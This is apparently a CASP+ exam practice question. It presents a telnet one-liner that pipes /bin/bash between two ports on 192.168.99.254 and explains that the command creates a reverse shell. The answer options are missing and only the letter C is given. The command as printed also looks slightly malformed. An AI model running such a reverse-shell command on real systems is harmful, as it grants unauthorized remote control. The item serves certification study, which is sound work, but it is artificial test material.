CompTIA CASP+ (CAS-004) — Question 204

A penetration tester inputs the following command:

telnet 192.168.99.254 343 ! /bin/bash | telnet 192.168.99.254 344

This command will allow the penetration tester to establish a:

Answer options

Correct answer: C

Explanation

The command establishes a reverse shell by connecting to the target system and allowing remote command execution through the shell. The other options, such as port mirroring, network pivoting, and proxy chaining, do not accurately describe the functionality of this command, which specifically facilitates a shell access back to the tester.